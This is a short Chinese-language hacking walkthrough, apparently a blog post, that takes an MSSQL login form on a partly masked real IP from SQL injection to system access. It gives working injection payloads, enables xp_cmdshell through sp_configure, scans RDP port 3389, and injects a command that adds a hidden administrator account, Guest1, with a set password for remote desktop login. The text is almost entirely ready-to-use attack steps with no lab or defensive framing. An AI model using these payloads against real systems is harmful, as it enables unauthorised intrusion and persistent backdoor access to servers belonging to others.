简单看了下登陆框,可以爆破用户名
加单引号后报错,试了试 and 1=1 确实存在注入
尝试得到数据版本: admin' and @@version=1--
抓包 sqlmap 跑了下发现不行: sqlmap -r 1.txt --risk 3 --level 3 --dbms "Microsoft SQL Server" --second-order "http://123.xxx.xxx.180:2001/error.aspx"
返回: all tested parameters appear to be not injectable,跑不出来,只能手工了
看下能不能多语句执行: admin';select convert(int,(select user));--
结果发现可以执行成功,能进行多语句执行
admin';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5';--
admin';EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--
➜ sudo nmap -sS -Pn -n -p3389 123.xxx.xxx.180
Password:
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-25 09:30 CST
Nmap scan report for 123.xxx.xxx.180
Host is up.
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Nmap done: 1 IP address (1 host up) scanned in 2.07 seconds
直接添加用户: admin';exec master..xp_cmdshell 'net user Guest1 Aa123456. /add & net localgroup administrators Guest1 /add & net user Guest1 /active:yes'--
尝试登陆
参考链接:http://wyb0.com/posts/2019/sql-server-from-sql-injection-to-remote-conn-desktop/